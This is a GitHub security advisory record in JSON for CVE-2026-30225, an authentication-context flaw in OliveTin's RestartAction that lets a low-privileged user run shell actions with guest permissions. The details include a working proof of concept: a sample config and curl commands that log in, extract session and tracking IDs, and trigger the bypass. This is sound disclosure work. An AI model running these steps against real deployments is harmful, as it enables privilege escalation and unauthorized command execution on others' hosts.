CVE-2026-30225: Github.com/OliveTin/OliveTin OliveTin's RestartAction Always Runs Actions Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p443-p7w5-2f7f",
  "modified" : "2026-03-06T22:52:19Z",
  "published" : "2026-03-05T20:53:46Z",
  "aliases" : [ "CVE-2026-30225" ],
  "summary" : "OliveTin's RestartAction always runs actions as guest",
  "details" : "### Summary\nAn authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run.\n\nRestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution.\n\nThis vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions.\n\n### Details\nAffected files:\n\nservice/internal/api/api.go\n\nservice/internal/auth/authcheck.go\n\nRelevant code in RestartAction:\n\n```\nreturn api.StartAction(ctx, &connect.Request[apiv1.StartActionRequest]{\n    Msg: &apiv1.StartActionRequest{\n        BindingId:        execReqLogEntry.GetBindingId(),\n        UniqueTrackingId: req.Msg.ExecutionTrackingId,\n    },\n})\n```\nAuthentication in StartAction:\n```\nauthenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg)\n```\nIssue:\n\n1. RestartAction creates a new connect.Request object.\n\n2. The new request does not preserve caller headers or cookies.\n\n3. UserFromApiCall() attempts to resolve the user from the request.\n\n4. Because authentication headers are missing, it falls back to the guest user.\n\n5. If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges.\n\n### PoC\n\nConfiguration:\n```\ndefaultPermissions:\n  exec: false\n\nusers:\n  - username: low\n    password: lowpass\n    permissions:\n      exec: false\n\n  - username: guest\n    permissions:\n      exec: true\n\nactions:\n  - id: restart_bypass_action\n    shell: |\n      echo \"pwned\" > /tmp/olivetin_restart_bypass.txt\n```\n\nSteps to reproduce:\n\nLogin as low user\n```\nLOW_LOGIN=$(curl -sS -i -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"low\",\"password\":\"lowpass\"}')\n\nLOW_SID=$(printf '%s\\n' \"$LOW_LOGIN\" | tr -d '\\r' | \\\n  awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}')\n```\nAttempt direct execution (correctly blocked)\n```\nLOW_RUN=$(curl -sS -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \\\n  -H 'Content-Type: application/json' \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d '{\"actionId\":\"restart_bypass_action\"}')\n\necho \"$LOW_RUN\"\n```\nThis should return permission denied.\n\nExtract executionTrackingId from response:\n```\nTRACKING_ID=$(printf '%s' \"$LOW_RUN\" | \\\n  sed -n 's/.*\"executionTrackingId\":\"\\([^\"]*\\)\".*/\\1/p' | head -n1)\n\necho \"Tracking ID: $TRACKING_ID\"\n```\nCall RestartAction:\n```\ncurl -sS -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \\\n  -H 'Content-Type: application/json' \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d \"{\\\"executionTrackingId\\\":\\\"$TRACKING_ID\\\"}\"\n```\nVerify command executed:\n```\ncat /tmp/olivetin_restart_bypass.txt\n```\nOutput:\n```\npwned\n```\n\n### Impact\n- Privilege Escalation\n- ACL Bypass\n- Unauthorized Command Execution\n\nAny authenticated low-privilege user can execute actions they are not authorized to run if:\n- Guest has broader permissions\n- RestartAction is enabled\nBecause OliveTin actions execute system shell commands, this can lead to:\n- Arbitrary file writes\n- Sensitive data exposure\n- Potential full host compromise (depending on OliveTin runtime privileges)\n\nThis affects all deployments where:\n- guest.exec = true\n- A restricted user has exec = false\n- RestartAction endpoint is accessible",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/OliveTin/OliveTin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260305000458-cb46a597b246"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-p443-p7w5-2f7f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30225"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/commit/cb46a597b2465235839ed58cf034b5e7b70ef911"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OliveTin/OliveTin"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-250", "CWE-441" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-05T20:53:46Z",
    "nvd_published_at" : "2026-03-06T21:16:16Z"
  }
}